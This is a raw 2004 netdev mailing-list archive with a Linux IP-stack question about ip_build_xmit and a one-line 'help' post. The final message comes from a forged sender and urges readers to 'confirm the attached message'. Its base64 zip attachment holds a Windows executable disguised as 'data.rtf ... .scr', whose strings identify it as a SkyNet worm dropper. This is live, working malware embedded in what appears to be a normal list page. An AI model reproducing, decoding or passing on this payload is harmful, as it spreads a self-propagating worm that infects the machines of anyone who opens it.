LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0005_000028C8.000072BD-- From linux_lover2004@yahoo.com Tue May 18 02:23:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 02:23:25 -0700 (PDT) Received: from web90102.mail.scd.yahoo.com (web90102.mail.scd.yahoo.com [66.218.94.73]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4I9NMKO017702 for ; Tue, 18 May 2004 02:23:22 -0700 Message-ID: <20040518063106.85290.qmail@web90102.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90102.mail.scd.yahoo.com via HTTP; Mon, 17 May 2004 23:31:06 PDT Date: Mon, 17 May 2004 23:31:06 -0700 (PDT) From: linux lover Subject: how ip header added in ip_bulid_xmit function? To: linuxnet Cc: netdev , netfilter MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5170 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev hello , In ip_output.c file there is ip_build_xmit function call. when packet comes from tcp layer to IP layer this function is called. In that i found that skb = sock_alloc_send_skb(sk, length+hh_len+15 ,flags&MSG_DONTWAIT, &err); staement allocates skb for packet. after that i found that no iphdr adding statement in ip_build_xmit. i want to know where is iphdr push to skb? cause skb works using first alloc_skb to allocate memory then skb_reserve to reserve headroom then put data in skb by skb_put or skb_push for pushing headers in skb. so there i found skb->nh.iph = iph = (struct iphdr *)skb_put(skb, length); statement is this does that iphdr adding? regards, linuxlover __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From y030730@njupt.edu.cn Tue May 18 02:44:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 02:44:01 -0700 (PDT) Received: from njupt.edu.cn ([202.119.230.189]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4I9hwKO020153 for ; Tue, 18 May 2004 02:43:59 -0700 Received: (eyou send program); Tue, 18 May 2004 17:45:37 +0800 Message-ID: <284873537.31224@njupt.edu.cn> Received: from 10.10.136.121 by em.njupt.edu.cn with HTTP; Tue, 18 May 2004 17:45:37 +0800 X-WebMAIL-MUA: [10.10.136.121] From: "=?gb2312?B?xe21pA==?=" To: netdev@oss.sgi.com Date: Tue, 18 May 2004 17:45:37 +0800 Reply-To: "=?gb2312?B?xe21pA==?=" X-Priority: 3 Subject: Content-Type: text/plain X-archive-position: 5171 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: y030730@njupt.edu.cn Precedence: bulk X-list: netdev help From do_part_publisher@lrde.com Tue May 18 03:30:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 03:30:02 -0700 (PDT) Received: from oss.sgi.com (PPP-36-84.bng.vsnl.net.in [202.54.36.84] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4IATqKO021119 for ; Tue, 18 May 2004 03:29:55 -0700 Message-Id: <200405181029.i4IATqKO021119@oss.sgi.com> From: do_part_publisher@lrde.com To: netdev@oss.sgi.com Subject: Re: Notify Date: Tue, 18 May 2004 15:59:56 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal X-archive-position: 5172 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: do_part_publisher@lrde.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit SMTP: Please confirm the attached message. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="msg_netdev.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="msg_netdev.zip" UEsDBAoAAAAAAO87sjDjBNKNAHwAAAB8AABXAAAAZGF0YS5ydGYgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAuc2NyTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUA AEwBBQAAAAAAAAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAIkRAAAAEAAAACAAAAAAQAAA EAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAIAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAA AAAAAAAQAAAAAAAAAAAAAABIIAAAKAAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAA AEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwMDAwMDIwMgAQAAAAEAAAAAQAAAAEAAAA AAAAqG4XAAAAAABAAADAMDAwMDAxQkQAEAAAACAAAAACAAAACAAAAAAAAFhuFwAAAAAAQAAA wDAwMDAwMEUxABAAAAAwAAAAAgAAAAoAAAAAAACAbhcAAAAAAEAAAMAwMDAwMDE1NgBwAAAA QAAAAAIAAAAMAAAAAAAACG4XAAAAAABAAADAMDAwMDZDMkMAcAAAALAAAABuAAAADgAAAAAA AAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAKHoMEAAacD9QwMABcOeJgCj6DBAAMH4ECX/fwAAw4tEJASj6DBAAMNVi+xRU1ZX M/9XiX38/xUcIEAAi/BoyDBAAA+3RQhQVv8VGCBAAIvYU1b/FRQgQABQ/xUQIEAAO8eJRQh0 KlNW/xUMIEAAV2iAAAAAagJXV2gAAABA/3UMi/D/FQggQACD+P+JRQx1BDPA60Ez2zv3dhjo Yf///5m5AAEAAPf5i0UIMBQDQzvecuiNRfxXUFb/dQj/dQz/FQQgQAD/dQz/FQAgQAAzwDl1 /A+UwF9eW8nDVYvsgexkDAAAVr4ABAAAV42FnPP//1ZQagD/FSwgQACLPSggQACNheD7//9W UP/XjYW89///VlD/14B9/lyLNSQgQAC/4DBAAHQKjYXg+///V1D/1o2F4Pv//2jQMEAAUP/W gL3c+///XHQKjYW89///V1D/1v81ADBAAI2FvPf//1D/1o2FvPf//1BqZei7/v//WY2F4Pv/ /1lqAFCNhZzz//9Q/xUgIEAAX17Jw/81CDBAAGoAagD/FUAgQACj5DBAAP8VPCBAAD23AAAA dFNqAOhs/v//Wegi/////xU4IEAAUOha/v//Wf81ADBAAP8VHCBAAIXAdAWD+P91DP81ADBA AP8VNCBAAIXAdBSD+P90D2oBUP8VMCBAAIXAdAL/0DPAwhAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAADEIAAA0SAAANwgAADpIAAA+SAAAAchAAAVIQAAJCEAADYhAABBIQAASyEAAGEhAAB1 IQAAhSEAAJMhAAChIQAAryEAAAAAAABwIAAAAAAAAAAAAAC4IAAAACAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAxCAAANEgAADcIAAA6SAAAPkgAAAHIQAAFSEAACQhAAA2IQAAQSEAAEshAABh IQAAdSEAAIUhAACTIQAAoSEAAK8hAAAAAAAAS0VSTkVMMzIuZGxsAABDbG9zZUhhbmRsZQAA V3JpdGVGaWxlAABDcmVhdGVGaWxlQQAAU2l6ZW9mUmVzb3VyY2UAAExvY2tSZXNvdXJjZQAA TG9hZFJlc291cmNlAABGaW5kUmVzb3VyY2VBAABHZXRNb2R1bGVIYW5kbGVBAABDb3B5Rmls ZUEAAGxzdHJjYXRBAABHZXRXaW5kb3dzRGlyZWN0b3J5QQAAR2V0TW9kdWxlRmlsZU5hbWVB AABHZXRQcm9jQWRkcmVzcwAATG9hZExpYnJhcnlBAABHZXRUaWNrQ291bnQAAEdldExhc3RF cnJvcgAAQ3JlYXRlTXV0ZXhBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQwQACQMEAAdDBAABAwQABVJ2wndCdp J20nYSd0J2kndidlICdFJ24nYydyJ3kncCd0J2UnZCAnVydvJ3InbSdEJ3InbydwJ3AnZSdy JyAnYid5ICdTJ2sneSdOJ2UndCcuJ0MnWicgJ0MnbydyJ3AqJwAAJ0QncidvJ3AncCdlJ2Qn UydrJ3knTidlJ3QnACdTJ2sneSdOJ2UndCdGJ2knZydoJ3QncydCJ2EnYydrAAAAAHVzZXJj b25maWc5eC5kbGwAAAAAQklOQVJZAABGVlByb3RlY3QuZXhlAAAAXAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAABAAIAICAQAAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAAAAAAAAAAAAAAAAAKAAA ABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACA AAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAA AAF3d3d3d3AAAf//n/+fcAAB//95mZ9wAAH0RPefn3AAAf///3mfcAAB9ERE959wAAH///// /3AAAfRERERPcAAB//////9wAAH0RERET3AAAf//////cAAB//////9wAAHw8PDw8PAAAA+P j4+PgAAAAAAAAAAAAMAHAACAAwAAgAMAAIADAACAAwAAgAMAAIADAACAAwAAgAMAAIADAACA AwAAgAMAAIADAACAAwAAwAcAAOqvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 